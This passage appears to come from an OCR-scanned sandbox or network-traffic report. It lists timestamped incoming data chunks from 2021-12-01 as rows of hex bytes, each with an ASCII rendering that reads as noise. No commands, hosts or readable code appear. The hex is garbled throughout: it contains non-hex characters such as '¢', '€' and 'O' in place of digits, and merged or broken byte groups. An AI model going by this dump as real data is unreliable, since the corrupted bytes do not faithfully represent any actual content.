a7 6d 4b 3a 79 6f 76 51 7b 3c e7 c4 85 7f e4 d4 5a 76 c4 31 8e fb b6 22 5f 2f 08 a7 20 d2 98 5¢ d4 ee f3 0d 93 05 b4 18
d9 cb ab df 01 dd 5d 17 4a db de ce a8 ad 2f ee b5 fa 5b €9 cf c9 7c 43 9b a9 c7 f2 e3 1b e3 4d 71 df f6 c4 80 98 aa 47 2f
0d 9c 09 6d be a4 a7 4a ee 3e f0 03 8f d2 8¢ 97 a2 01 6a 64 89 c6 2f 9b 87 b5 76 e4 fd 3a Of 96 46 1le 2f ab 94 83 ee 13
aa 3f 45 25 50 7a 95 55 bc cb 53 2b 79 33 f4
Data Ascii: aU919W=$j5q<mP[R~~ZU@ax)naWx>)*$UKIHCInvmK:yovQ{<Zv1"_/\]J/[|[CMqG/mJI>jd/v:F/?E%PzUS+y3

2021-12-01 12:26:35 UTC 36 IN Data Raw: 9a 7f b6 52 80 Ob 9b e7 af f4 56 ab 36 f0 8a 17 66 77 73 cb 85 26 29 9d e2 44 95 7c cf d3 ed 1d 71 e9 99 7e a7
24 d2 23 b9 73 68 ba da 18 1c b9 fd el 6b 76 ac bd a2 37 df 0a 76 f2 3d db 87 7f 67 56 13 64 53 d5 09 4f 9b 7a Oe 04 91
e4 73 cfad al 6e 54 f2 13 11 c¢7 ab 1f c8 f6 50 7e 35 90 9c 34 2d 0d 7d da 24 25 8b 4a ed 35 bf 73 0d 1e 34 28 f5 6¢ 0d 8¢
cc al c2 cb 59 25 5f 45 e7 5e 64 20 47 0f f1 cc 1f be 9c f4 d9 45 21 2¢ 1d 2a 7f 5d 20 f7 7c 91 e4 3c 6a b8 aa 48 e7 ea 28
83 c2 b6 7f 14 78 1d fd 3d c2 07 02 8d 15 a5 c4 67 66 11 26 98 28 c8 87 a0 37 15 66 d3 10 c2 36 f4 78 af 1b 20 €0 ef ba
63 a9 32 99 13 8f c2 35 b6 fb 6e ee 90 dO 3a eb 24 67 e8 5¢ 12 90 5d e2 26 91 7a 8e cc c1 Oc 8d 9d 10 dd 73 a9 14 bc Oa
98 95 2b 99 20 57 78 09 ba 3e 13 c6 84 80 b3 2a
Data Ascii: RV6fws&)D|q~$#shkv7v=gVdSOzsnTP~54-}$%J5s4(1Y%_E~d GE!,*] |<jH(x=gf&(7f6x c25n:$g\|&zs+ Wx>*

2021-12-01 12:26:35 UTC 38 IN Data Raw: 5e 37 28 43 c2 al af d7 ec 81 85 ae 63 dc 97 f7 b6 36 b8 db 76 b3 86 c6 41 3e 10 09 17 51 71 57 57 60 87 75
8d de e5 76 ce 28 e7 b2 91 23 55 23 74 dc 30 d7 83 35 c4 c8 f2 07 8a 13 9a 63 a4 e5 82 5f 0a cc 52 03 23 f9 b0 d3 a3 ae
0d 85 bd d2 7e fa cb d2 54 2e 9b el ce d0 43 1c f2 4¢c 73 df f1 d1 Oa al Ob 19 39 1d 98 10 6f 76 ad be 64 a8 4b 8 12 8d 41
O f4 b2 07 67 90 73 cc 26 bd 92 b9 08 b6 d5 Ob 05 4a 44 35 49 a2 90 8b ed 11 1b 3e 59 23 41 70 82 c8 af d9 27 23 66 3a
7a 6a d0 fO be d6 36 16 a6 12 a5 84 79 ad 64 4a 26 c9 69 48 bl d1 73 c4 bd fd ff 37 94 c7 a6 1e f6 75 03 28 c5 78 5a 10
€6 86 71 28 15 5f af 57 87 c¢1 3d 3a 92 21 3b 3f 08 9a c5 3e ea ad 5e b4 1d 69 ee c1 1f 33 2a 49 7c al cc d5 62 e5 65 02
47 62 25 c0 97 4a cc 01 92 ba 09 f5 05 fO Oa 96 49 26
Data Ascii: A7(Cc6VA>QqWW' uv(#U#t05¢c_R#~T.CLs90vdKAgs&JID5I>Y#Ap'#:zj6ydI&iHs7u(xZq(_ W=:1;2>%i3*I|be
Gb%JI&

2021-12-01 12:26:35 UTC 39 IN Data Raw: 22 b1 1f 67 24 24 02 bb 7a cd 35 b4 ad 0a 30 4b fa f5 66 2f c8 ca 8b c8 f1 c0 c7 a0 ba fe 4d 65 20 34 60 e7 24
le 92 9f €3 ca 42 27 3d 60 b5 70 b6 3b db 7e bb f2 34 08 46 08 b6 99 98 7e 83 c8 8f 1c 06 7d 2f b7 38 c7 2f 94 9¢ 10 bc
€4 99 67 26 02 95 00 cf 84 a0 31 2a fb d3 01 de 05 e4 66 a2 19 44 bf fc bf 67 90 16 86 1d 7b ac 6f be c3 47 f9 0a f8 52 e5
37 68 e4 5f 15 a4 db e2 0a 90 50 b6 47 c0 06 91 a6 81 c0 60 aa 3c bd Oe 87 92 a8 cd Oc 59 75 1la c5 e5 a4 f9 fc fe c1 2b
eb 22 3e 40 6b ca 47 76 b4 92 32 a8 29 26 51 ed 11 ac cf 9d f9 52 51 4b 65 4d ee bf 5b 02 c9 69 a0 b5 1b 47 64 01 1d 3c
b8 ff c2 fa b0 40 3e 82 c9 0f 8b 70 6b 61 60 93 6f 42 Of 4d 77 7a 56 bf 19 08 95 14 14 e9 8e 34 3d d0 97 05 d9 cc Oc b4 61
5 c0 8 2a 69 8e 20 09 c6 43 be 79 88 d5 92 eb
Data Ascii: "g$$z50Kf/Me 4'$B'="p;~4F~}/8/g&1*fDg{oGR7h_PG '<Yu+">@kGv2)&QRQKeM[iGd<@>pka oBMwzV4=a*i
Cy

2021-12-01 12:26:35 UTC 40 IN Data Raw: ¢3 18 07 15 32 15 90 8d Ob 7d 76 22 a7 47 9d 4c 6d 12 8d c6 f5 6e b2 09 7e ae cb dd 2e a8 88 aa 85 a2 f5 25
0f 5¢c d2 08 48 ac 9e 95 78 28 a2 35 5b 3¢ 57 6e 8a 12 94 ¢2 37 2b 7d 31 7a 6a fd 2f 76 c6 c8 1a 8c 12 af a8 el 71 75 57
2921 7d d2 06 ce 67 71 c2 ee fe 3d 42 9e 31 1f f7 63 10 2e d8 68 29 39 bb fd 73 35 10 57 21 €0 8d f4 b6 8d 7e 36 el 28
8d 17 ee 2f c2 13 52 bc 13 ec 5e c0 71 8a 3b 4c 6e 96 2 ff 71 e2 4d 26 4d 74 2a b9 58 c¢5 7b 16 90 4f b0 2e 2d e7 7f db 43
0Oe 50 77 26 fc 91 e9 c8 3e 0f 90 25 65 11 d4 al 10 db 78 04 0d Oa 5a e7 3d 33 d0 30 df 98 41 cd ff 8a f0 07 8¢ 16 e3 45
31950 84 d1 74 ac cf a0 e7 f0 77 98 56 db 20 18 3c 89 14 b7 57 93 9e 2b 44 fb bd c3 b8 8a 84 79 a4 a9 f5 13 b5 22 67
2a 9f 3b df e4 5f c0 09 78 9b 4c fd 21 2e 1b d8 ce le
Data Ascii: 2}v"GLmn~.%\Hx(5[<Wn7+}1zj/vquW)!}gg=B1c.h)9s5W!~6(/R"q;LngM&Mt*X{O.-CPw&>%exZ=30AE1twV
<W+Dy"g*;_xL!.
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 42 IN Data Raw: 0d 4f a0 c7 19 67 81 19 b1 02 85 ad 49 ba ea 61 ec 22 96 4e ea 22 7b 69 49 10 b8 24 f7 32 8f 7a 3d cd c1 Oc
b3 a4 85 dd 79 bc 38 a5 17 14 a0 56 cc 21 41 54 9e c0 6b 19 ea 9e ef c5 33 78 13 2d 45 6a cd 6a f8 4b 93 14 8a 25 de 37
ed 11 a4 de 1af9 52 5b 44 71 63 e2 7e 14 1c 37 6a a4 a7 30 95 71 1b 09 2f ab e6 b9 90 4f 41 18 98 b3 a5 99 78 73 62 51
e36a42 18 c4 518457 92 1e 08 86 3a 63 b0 8e 32 1f e2 b9 02 d5 a8 1d 24 65 ff da ea 26 65 ec b3 17 cd b7 ac 5f 8c d9
88 ea 97 14 5b 01 80 03 04 3 44 62 f0 3a 49 6f f6 4b df 2d f3 17 51 e4 b1 a7 00 ff f1 4a c6 3e 40 86 72 e0 00 26 a5 50 62
dd 85 bd fd 9b b7 b5 2f €5 ab cf a2 59 14 14 d8 3f 38 ec 7d 87 58 1b a2 8e 56 9a f5 91 2f cc 49 97 a2 58 el 30 4a hd ff 1e
51 29 68 9e ea €0 89 f6 46 db 95 14 65 29 fc 45 58
Data Ascii: Ogla"N"{il$2z=y8V!ATk3x-EjjK%7R[Dqc~7j0q/OAxsbQjBQW:c2$e&e_[Db:loK-QJ>@r&Pb/Y?8}XV/IX0JQ
)hFe)EX

2021-12-01 12:26:35 UTC 43 IN Data Raw: 40 a4 12 b1 23 72 20 3f 58 85 57 9c f1 79 Oe a4 21 3b 3f 5b 9a 5b 2d c2 12 32 b6 1b 62 e2 da 61 50 25 49 78
8918 d7 62 e2 4d 2c 45 62 32 af 50 4b e5 02 95 c1 3d f1 05 f4 71 db 49 26 dd 77 26 f7 93 df cc 39 08 9a 34 60 1le 4c a0 01
cb 04 16 34 09 53 f4 39 22 c5 12 5a 66 40 eb el 5c 8e 51 a5 21 e9 6d bd 85 {7 96 b4 fc 95 cf aa €0 34 64 94 7c ca 2a 05
d2 88 38 f4 46 c1 b6 f4 9f fb a6 9c b5 8a 85 62 53 ad f5 2e d3 22 67 0a 0d 3b ce e6 1a cb Ob 17 73 4e fd 2b 34 28 da da c7
25 ce a3 45 18 25 ca a2 d8 47 a5 4a 2d 16 cb de 67 77 9d 3f 4a 53 ac e7 9e eb b5 fa 42 al 27 e6 9f 04 8e 88 5e ec e0 6d
f9 26 €6 57 92 4b d6 c0 ea 17 48 9a 80 80 ac 20 c9 20 af 39 15 bf c5 0f 16 a0 fa fO 70 6e b9 49 5d 1a fa 24 11 dO 3c da 98
74 5c 4c 12 75 53 e2 74 b0 9a 5c¢ 2a f4 d3 ed 60
Data Ascii: @#r ?XWy!;?[[-2baP%IxbM,Eb2PK=ql&w&94 L4S9"Zf@\Q!m4d|*8FbS."g;sN+4(%E%GJ-gw?ISB""m&WKH
Ipnl]$<t\LuSt\**

2021-12-01 12:26:35 UTC 44 IN Data Raw: 53 49 0d 39 be c6 4a el 4e 47 3a 3e ba b3 8d 7a bf 7e 5¢c a8 5d 42 1e 42 7d 80 24 29 0d Oe 9d 36 63 d2 8e 32
1f 2a 97 03 f9 a2 d0 b4 61 ff da fb 2f 1c ea 25 03 d7 bd bf 54 86 e3 9e ¢3 36 7a 58 01 e5 2b 93 e3 5b 74 c9 a8 61 1f ff 63
57 41 6b 10 79 ca a0 ad 18 db d0 13 7c 3e 46 a8 ee 92 ba 2c b4 73 40 a8 e9 6e fb f4 25 a7 20 f9 a9 cb 88 3d 3d 67 db 2e
31d5 e4 1c 4b 15 a2 a3 56 df f6 91 23 8e d4 ae 90 53 f0 3a 49 90 a4 e6 53 29 68 a5 7a 3f 9b d9 7f c5 bd 62 6¢ 3a f2 02 f8
a9 fb f6 4e 9e e4 7e 3d Oa 14 fe 6e aa de 91 94 Oc 6a 58 4f 65 46 fa a7 86 7d ee 90 87 ae 56 dd 97 f7 b6 82 b8 db 76 da
22644334 3e cl 7751 77 40 7aba 16 75 8b fc 48 70 d8 33 8f e7 18 22 5f 23 Oc 78 22 c¢7 9a 53 83 Oe f2 0d 99 05 b6 11
bf ca cb dc Ob ca 37 85 24 f1 d9 dd a8 bf 00 99 bd
Data Ascii: SI9ING:>z~\|BB}$)6c2*a/%T6zX+[tacWAKy|>F,s@n% ==g.1KV#S:1S)hz?bl:N~=njXOeF}Vv"dC4>wQw@zu
Hp3"_#x"S7$

2021-12-01 12:26:35 UTC 45 IN Data Raw: 37 a3 93 3b 86 f7 81 d2 4d 98 e7 38 ee 2e 71 f1 f6 da 20 1f 3f 8f 05 be 46 c9 b6 37 9c fb aa b6 32 8b 85 64 87
a7 e4 27 a4 2e 4f 90 9c 3b c8 89 f9 c8 0b 11 7a f4 fd 2b 3e 3b d2 cb 3c 31 30 a2 d6 11 5b 59 fb da 4d b3 3b 01 16 cb 8d
7389 9c 06 64 76 bd 09 b3 ca 9d a0 50 ab 2d e6 9c 0a 94 5e 3c c3 fb 6d 46 17 e7 57 95 Oc 5a c0 ea 17 71 e9 a9 37 a6 08
de 33 a7 22 00 92 55 19 05 a0 d7 a2 6b 7b 9b 38 5d 36 f9 31 44 c3 34 f6 b1 Oc 6d 44 12 62 4a fO 76 43 8a 76 4c e4 8c ef
66 d9 a0 al 63 24 db ef 10 ed b2 03 df d2 00 47 39 83 9d 25 31 22 58 27 25 Of fc 68 cf 35 b8 75 1c 3b 4b 3e f4 66 2f ca e3
a3 c8 7 d2 d3 7e b5 d9 65 54 20 56 02 f4 3c 36 aa 9f €3 c0 9c 21 2¢ 16 22 a6 b0 2d ca 72 ab f2 3a f7 b8 aa 48 88 89 3e
55 db 8f 1b 04 69 05 70 8e f8 49 6a 72 ea a5 c4 67
Data Ascii: 7;M8.q ?F72d'.0;z+>;<10[YM;sdvP-"<mFWZq73"Uk{8]6 1D4mDbJvCvLfc$G9%1"X'%h5u;K>f/~eT V<6!,"-
r:H>Uipljrg

2021-12-01 12:26:35 UTC 47 IN Data Raw: b3 16 98 af 86 b7 94 d0 2d b4 29 e9 92 52 b0 70 36 76 dd 50 ec c4 ea 8¢ 70 77 b2 a7 74 81 ee 90 29 a9 be b0
a0 52 f6 3¢ 70 33 d4 6b 54 46 44 b4 7d e7 8f f7 89 e7 98 4a 51 29 fa 20 d3 a0 88 de 91 8b 3 75 15 23 13 d6 08 77 de 90
d18a 7b 58 49 48 43 c4 a5 74 84 ee 94 99 86 dd dd 8c cd da Oc e5 db 7c b5 f0 65 43 2f 65 cd 77 51 7b 59 79 ba a9 74 8b
f2 73 61 cc 22 8e a0 ¢3 20 5f 23 33 ba 33 d7 8f 35 7d c9 f2 07 47 1a 94 28 81 e2 aa d5 07 e4 60 Of 25 fb 01 ce a4 dO 2b
89 b4 fe 79 ed c9 d8 7f 04 e3 ab c7 fe d8 05 f0 4a 66 b4 26 d5 84 1c c3 26 26 24 ab 03 66 6a b3 9e 77 81 5a fb dd 85 dd
c9 f3 bf 01 60 b8 57 ca 26 ab a3 bc 17 a9 fd 3a 04 4a 4e 29 40 af d9 83 ea 23 aa 3e 58 3e 60 7b 95 42 bc d1 36 75 77 33
e5 ae 58 3f ac db 14 91 d9 3d ae a9 e9 5b 7d 5a 21 31 57
Data Ascii: -)Rp6vPpwt)R<p3kTFD}JQ) u#w{XIHCt|eC/ewQ{Yytsa" _#335}G( %+yJf&&&$fiwZ W&:IN)@#>X>"{B6uw3X?=
pziw

2021-12-01 12:26:35 UTC 48 IN Data Raw: 4e c6 d3 c0 2a 9d e0 38 14 62 c2 c6 c7 1f 66 c4 97 91 a0 67 50 21 af 35 11 60 c9 Oe 16 a2 c2 6d 7a 71 b3 a6
5a27 fb Ob 11 5b 3d da 81 6¢ 46 57 14 75 51 e7 08 c7 9a 70 25 df 85 fe 66 d9 a5 a9 06 c2 fe ed 16 f8 a9 1f c7 f2 e0 60 3b
89 b6 7c 2d 01 4f ab 24 09 99 6f f2 24 b4 5b 82 37 24 23 d8 50 56 c0 cf al ce e2 cd ca ac ab 5 22 4b 22 56 Oe f6 3e 0f 99
fO ¢7 ¢8 42 27 2¢ 16 24 7a cc 07 d9 7e bc f0 08 23 ea 56 b7 9f f7 03 81 c¢8 98 Oc 04 74 78 €9 38 ¢7 25 4a 82 30 8b d9 67
66 00 05 90 00 97 87 a0 3d 9b 66 c2 09 c3 ea e5 6f b3 11 4a a2 d1 d1 98 7e ec bl be 86 ad 45 c4 7f 65 f8 00 fO 65 b4 27
6d e2 66 8b b8 25 €9 Oe 07 52 9e c7 €9 93 9b b5 8f b2 c6 ae 3c a6 64 1f 9e 56 c6 37 38 f4 0a c1 61 7c 4f 81 fe cb 38 f1 04
83 46 6b dd 31 €9 4b 93 14 ae 3a 0b 56 76 11 a6
Data Ascii: N*8bfgP!5 mzqZ'[=IFWuQp%f ;|-O$0$[7$#PV"K"V>B',$z~#Vtx8%J0gf=foJ~Eee'mf%R<dV78a|O8FK1K:Vv

2021-12-01 12:26:35 UTC 49 IN Data Raw: aa c8 6d a6 c1 40 41 3e 10 18 be 51 71 59 68 f5 ¢3 06 a9 f4 5b 70 dd 36 99 9c 81 30 30 02 19 a2 37 b8 al 58
bb cf €3 19 88 07 de 23 b4 e2 ac b0 2f ce 58 09 34 €5 ce dd cd 8b 05 88 b2 95 77 {8 cb de 68 38 98 14 c4 {8 {6 73 d8 48
60 dd f1 d1 95 02 72 3f 02 Oc 96 11 7e 48 78 b7 4f 8b 77 68 dd 8b c9 fb Oc b5 1f 60 b8 4c a3 71 b7 81 b6 c5 a2 19 10 05 4a
4f 31 40 b3 97 83 18 39 07 97 58 2b 50 78 95 1e be d1 ef 2a d4 4f f6 d3 e2 3f ac d1 1c 97 3e 10 d7 b8 ee 7d 6a 58 21 37
64 6¢ bb d1 20 aa ea fd 95 3d 48 fc b9 Oe 7a 4e 03 28 c6 6b a2 03 bd eb 64 ba 04 59 b8 41 00 €0 3e 22 b2 bd 2a 39 42 8¢
59 3e c4 08 49 28 0a 64 2 c9 fd 41 2 55 6e 15 f3 d1 7f f5 d1 3d 43 7c 35 33 41 4d d3 Oe 83 5d 16 12 1a fe 68 47 58 20 d8
7¢ 30 6a 91 €9 d4 35 0d 05 25 66 61 41 b6 8¢ cc 11
Data Ascii; mM@A>QqYh[p6007X#/X4wh8sH r2~HxOwh'LqJO1@9X+Px*02>}X17dl =HzN(kdYA>"*9BY>I(dA,Un=C|53AM]
hGX |0j5%faA

2021-12-01 12:26:35 UTC 50 IN Data Raw: f4 92 ba 2c b4 73 40 a9 f8 96 fa f4 2b 9c 38 ed ba ¢3 98 21 3f 67 dd 17 26 c6 ea 80 37 d7 b3 a7 74 30 f8 b4 01
94 d1 96 a8 5e d8 02 58 94 dd b5 52 2f 10 9d 7c el 8d d4 40 fO bd 64 4e 78 f9 2a c6 81 e2 fe 93 8d 8a b8 3d 1b 19 08 Oc
8c f6 a0 fb 8b 61 55 61 70 43 c2 af 59 7d €8 ab 82 9a dd dc 97 fd df Oc a5 f9 7c bb b4 65 43 3f 16 77 47 51 6d 1f 7f ca 9f
75 8b f7 40 46 c7 22 6¢ 8a 90 23 33 25 1b b3 42 6d 89 5a b1 c3 8¢ 9e 99 14 bb Oc ¢8 71 aa df 01 df 5d 71 Ob f0 df ca 8a
b9 05 88 b2 7 58 d2 Ob db 79 2a 98 33 c7 f8 fa 34 6e 4a 60 d1 f3 d1 95 12 35 19 03 Oc 96 2e 61 66 b5 6b ed 83 5a f1 12
81 3 76 f2 a3 Ob 73 b0 46 c4 Oe 76 82 bc 1f 9b 37 3b 05 40 66 d2 41 b3 9f ec 28 38 aa 34 4a 23 59 50 09 1e bc db 1e 3d
7533 f2 ce e52eabfc 1991 accfc6abed737c
Data Ascii: ,s@+8!?g&7t0"XR/|@dNx*=aUapCY}|eC?wGQmu@F"1#3%BmZq]qXy*34nJ’5.afkZvsFv7;@fA(84J#YP=u3.s|

2021-12-01 12:26:35 UTC 51 IN Data Raw: 93 0a 92 67 58 af df 69 29 9b {7 5d 82 67 ad e6 e8 1d 66 ff 8b a8 76 Ob d8 26 c0 19 04 ba dc 1e 14 a0 95 f6 7b
71 b9 a6 52 59 34 1c 7e d8 06 77 79 80 b0 98 04 75 57 88 5c 4e 9b 71 0f cO 9f el 15 f3 ad b0 68 24 a8 ed 10 el 7f dO db
ff 47 56 3b 83 91 27 31 79 dd 24 25 03 98 6a f5 35 be 79 d3 34 22 03 f2 4c 25 e2 cd €0 fc f1 c1 d9 a0 ba fc 14 63 20 56 6b
€6 32 1e 2e 9e e3 ca 54 21 3d 1a 35 70 a3 21 db 7e ba el 02 Ob 46 55 79 98 98 29 57 c9 9e 0a 00 78 17 fe 23 c7 2f 95 9e
25 a6 ee 63 67 0a 16 f3 28 af 96 b6 24 40 5e 26 01 d4 3c f6 76 a7 01 a5 b5 c3 b3 4f af 11 99 15 89 b4 50 b2 fb 75 fd 15 f3
b3 eb 08 61 ed 5f 14 86 4f €3 26 9b 4d 92 de c4 06 8a b0 9f 23 72 83 33 ba 09 7 56 56 cc 2a 40 a6 18 c5 66 08 d5 85 fe
do 2e ef d2 2¢ 69 6e f0 91 71 59 96 le b7 2e 19
Data Ascii: gXi)|gfv&{qRY4~wyuW\Ngh$GV;'1y$%j5y4"LY%c Vk2.T!=5p!~FUy)Wx#/%cg($@"&<vOPua_O&M#r3VV*@f.,
inqY.
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kBytes
Timestamp transferred Direction Data

2021-12-01 12:26:35 UTC 52 IN Data Raw: 97 fb d9 Oc b9 ¢3 7d b5 ae 7b 42 3e 16 62 77 51 71 49 7f c4 84 6e bb f5 5b 36 cf 22 88 f9 90 23 4e 56 al a2 31
dd 83 24 87 c9 2 07 b1 cc b2 00 b0 f5 c5 e2 0Ob cc 52 22 22 {7 d4 13 bd af 07 88 6a ee 74 d2 fc d8 79 26 a3 ac c1 f3 d8 24
f2 4a 6a 06 €9 d4 84 16 63 14 03 Oc 96 2b be 63 be b0 58 ee 67 f1 03 8f d7 eb 9d 12 00 60 b2 5a c5 35 b9 97 af 14 8b 3f
3a 05 4a 5f 17 51 be 0f 90 el 47 96 3e 59 2f 78 al 96 1e ba c0 33 03 53 33 f4 d7 f5 50 91 d1 1e 9d b4 14 87 bc ec 73 60
49 27 1f a5 5f b1 d7 07 19 eb fd f5 49 5a ed a6 05 98 7d 02 28 cd 6b af 03 bd d5 a9 25 15 59 c0 e5 9d f1 32 4e b6 21 3b
24 48 9d d4 29 ea ce 5c b4 1d 0d 5b de 61 5a 5e 5b 78 89 f9 ¢4 6a f1 45 3d 4d ec 94 b8 8a 63 ca 07 95 ea 16 f3 14 fc 56
3b 49 26 c1 64 2f 85 a2 ed cb 3f 08 93 25 6a 6f 49
Data Ascii: {B>bwQqIn[6"#NV1$R"jty&$Jjc+cXg Z5?:]_QG>Y/x3S3Ps'I'_IZ}(k%Y2N!;$H)\[aZ \[x]E=McV;1&d/?%:jol

2021-12-01 12:26:35 UTC 54 IN Data Raw: 59 b9 29 f5 6¢ 09 d3 dc a7 d9 f4 e9 31 a3 ba fa 58 75 08 12 09 e7 38 09 08 b7 08 c9 42 27 28 Oc 1d 34 a2 21
d1 68 20 c9 07 0a 46 53 9f 05 98 29 89 a7 b8 08 15 7e 3c cd 28 c2 07 78 8e 15 a5 81 fa 66 Oa 1c bl 0d be 81 bl 32 6d 8a
d0 01 d2 29 e0 4f e6 18 5b be f8 20 4f 6a 10 99 15 90 bb 6b f3 fa 64 f2 1c 62 22 cc 26 6d e2 5f 16 90 c8 e0 26 9d 3d b4 cf
c1 00 9d a4 83 b2 64 ae 3c a6 1a 92 f0 91 cc 20 5d 46 cO 3f 94 ec 18 96 ef cb 5e cf 2c 2d 44 47 d7 53 67 3f a8 1le a6 2a
61 29 ed 11 ac 2a 1f f1 45 87 44 7e 59 e6 bf 57 92 80 57 f6 4d cf 6a a5 1d 2b 11 8f ee c7 8 5d 46 61 31 ba b3 81 7b 49
53 79 80 60 9c 1c 4e 44 83 7d 93 0d 4f a3 3c 4b €8 8e 32 15 a2 97 05 d3 €9 c1 b4 61 5f db fb 2f 7f 9f 25 16 cd bd bf 55 9d
d3 9ac3 b9 7b 58 01 45 2a 93 f2 8d 69 el 13 74 1f
Data Ascii: Y)I1Xu8B'(4!h FS)~<(xf2m)O[ Ojkdb"&m_&=d< JF?",-DGSg?*a)*ED~YWWMj+]Fal{lSy ND}O<K2a_/%U{XE*it

2021-12-01 12:26:35 UTC 55 IN Data Raw: 12 5a f1 09 89 c0 f0 e0 a3 10 72 a7 5d 32 27 9b 87 97 06 ac f6 29 17 4a 5f Ob 5¢ 4d 94 af ee 47 39 3e 59 2f 43
7d 88 0d ae d1 27 39 68 14 Oa dc ce 30 bd dc 0f 99 29 a5 90 a9 ec 73 6a 47 09 24 6d 5¢ a0 ¢3 77 8d 14 fc d3 37 59 e0 b1
c8 e4 68 1c 0f d4 6a a4 03 a9 e4 8¢ 27 39 56 dc ed 9c f1 32 30 be 32 29 3f 4a 88 da 21 3c 13 73 b3 0d 71 f9 c0 6e 43 38
49 69 9b fd f6 9c e2 61 20 54 6a 2b c0 78 49 cc 01 8a e3 14 e6 05 €5 6¢ c4 46 d8 c6 5b 2f ce 85 ed cb 39 04 89 27 72 7e
5d b2 Of cf €9 1d 20 13 41 fe 2f b8 fc 18 47 98 47 d1 dd 7a el 22 ae 37 a3 3c 3a 86 {7 8f c8 4f 86 cf bl ff 31 7a 60 7d f7 28
08 25 9a 05 a8 59 d6 8c ae 8e €9 b3 d5 46 8b a9 7f 85 aa e2 a3 ea 22 67 Ob 8¢ 34 df €9 65 d6 30 8a 43 43 92 62 39 28 dO
c9 3d 3a c3 b0 d5 19 34 d8 e4 cc b9 a4 3f 25 07
Data Ascii: Zr]2")J_\MG9>Y/C}'9h0)sjG$m\w7Yhj'9Vv202)?J!<sgnC8lia Tj+xIIF[/9'r~] A/IGGZz"7<:01z }(%YF"'g4e0CCh9(=:4?
%

2021-12-01 12:26:35 UTC 56 IN Data Raw: f1 72 06 08 a7 61 f2 35 66 5 5e 8a ae 34 e8 37 8b c8 f1 04 c1 06 91 ad 5f b2 9c af 3c a6 07 89 94 47 dc ba 7f
76 0f c1 6d 7c 3a 80 fe cb 3a ff 3d 3d 52 bd 41 6a 66 4e 93 18 c9 d7 Oe 7e e7 4e 8a 83 1f f2 43 41 cd 60 59 e5 bf 4e 86 58
al 8c b3 3a82al 67 el 39 b8 e4 d4 e7 5f 4a 03 9b ad 65 11 66 70 60 68 90 7d 94 84 27 a7 84 57 99 15 d4 f8 d3 4b ea 84
21 13 87 b5 07 d3 a5 d3 a5 70 fa b5 32 2f 69 95 3f 27 e3 ac ae 5d f2 fb 98 c3 b9 6a 49 10 80 44 b7 f0 44 6e f0 02 70 1a 9a
6d db 42 6d 07 40 c6 ac a9 12 d0 b6 11 c7 3e 40 a8 f4 f0 6f 3b b5 79 40 be 96 aa 2d e7 3f a5 3f fe ad fb ad 8f ¢3 98 ca 36
29 12 f9 8f 49 18 a2 b4 40 4d Ob 6e d6 7d c4 b3 8a 65 f0 3a 52 87 ¢5 18 e8 29 6e bc 70 c9 bl fc 57 f8 63 60 60 03 f3 00 cO
eB8e7 fc 93 8b e5 7e 3d 3a 13 d6 02 6¢ dc
Data Ascii: ra5f*47_<Gvm|::==RAjfN~NCA YNX:g9_Jefp h}'WK!p2/i?']jIDDnpmBm@>@0;y@-??6)|@Mn}e:R)npWc™ " ~=:

2021-12-01 12:26:35 UTC 58 IN Data Raw: 12 83 21 3b 35 48 9f d4 2a ea 23 5f b4 11 4f e2 ac db 50 2a 43 73 54 3f d7 62 e3 5¢ 29 6d 3e 23 af 56 46 c5 2f
76 c2 07 f2 2d 10 7d db 4f Oe 9a 77 26 f0 93 eb c2 11 fd 9a 34 66 56 ab a3 10 db 3f 41 Oc Oa 56 e7 3f 2b fc f0 40 98 47 ef
1c 57 el 24 8c 7c e3 45 3d 95 ff 99 3 40 90 cf a6 c5 33 73 9e 7a f3 7d 19 2c 8f 07 b0 5e ed 80 aa 9f fd 84 c6 bc 8a 83 4a
c9 ad f5 28 b9 33 6f 22 b1 39 ce €0 65 el 25 17 52 46 eb 05 6b 5b f8 d8 34 23 dd aa d6 10 34 ce d3 3f 44 a5 15 3e 10 e3
a0 65 77 97 09 60 51 ac 08 8e e2 a4 ef 3e 8f 25 f7 93 0a 91 67 58 af dd 69 29 9b {7 5e bb 43 c6 c0 ec 72 4a ec 81 86 a0
19 d1 4f b8 32 06 b0 04 17 20 82 cd el 7a 7b a0 bd 74 Oe f3 1c 74 Oc 3c 04 92 5a 67 71 12 64 53 ee 6¢ 3d 21 70 23 c6 85
c758 c8 ad ba b7 49 f9 ¢7 17 c1 a3 Oe ce 9b 5b
Data Ascii: ;5H*#_OP*CsT?b\)m>#VF/v-JOW&4fV?AV?+@ GWS|E=@3s2},"J(30"9e%RFK[4#4?D>ew’ Q>%gXi)*CrJO2 z{
tt<ZgqdSI=!p#XI[

2021-12-01 12:26:35 UTC 59 IN Data Raw: 29 61 69 7f 6d 94 42 el le 48 64 ac 46 93 0d 04 84 3b 5a ee a6 ae 15 f4 9d 1a c3 8b 29 b5 61 f5 cb fd f5 7e 45
3a 39 dc ba 97 ¢9 9d d3 90 dc af 53 b1 00 86 21 45 ed 7d 35 3b 00 64 17 e4 4e f1 a8 6a 16 5b 62 ff ad 12 d7 f1 08 c4 3e
4c a2 f4 e7 17 fa a7 7f 5b a9 97 b4 c5 ca d0 4b dO e7 92 59 b0 70 36 6d 05 2d 16 f3 ea 86 52 39 9d a5 7e e8 fc b9 11 a3
d1 9c 7c 52 f6 10 58 94 96 77 52 29 6e b6 7d el 89 fc 57 f2 c7 63 66 29 80 2b c0 a9 e9 fc 93 8b ff 7e 3d 1a 08 e6 05 a9 d8
96 fb 8b 15 58 49 59 41 c8 a7 91 12 0f 80 83 8¢ c2 83 a4 f5 db 1b d6 d3 7d b5 a4 6f 45 16 8a 77 77 5b 59 35 7e c4 8f 78
8 d0 5a 76 c4 31 8e 99 96 37 77 0d 1f a2 37 c0 04 5d bb c9 f3 1e 91 05 b9 16 c8 86 aa df Of 6e 49 07 31 €5 {7 07 a3 ae
0d 99 b2 ee 79 d3 cf d8 7f 3b 3d af c7 f8 f1 Of fa
Data Ascii: JaimBHdF;Z)a~E:9S!E}5;dNj[b>L[KYp6m-R9~|RXWR)n}Wcf)+~=XIYA}oEww[Y5~xZv17w7]nlly;=

2021-12-01 12:26:35 UTC 60 IN Data Raw: 71 b6 52 d9 20 1f 04 6¢ 15 b7 5d ed 02 ae 9f f1 bf df bl a2 12 61 94 ab dd 00 b7 22 61 22 7a 3a ce ec 5b 55 Ob
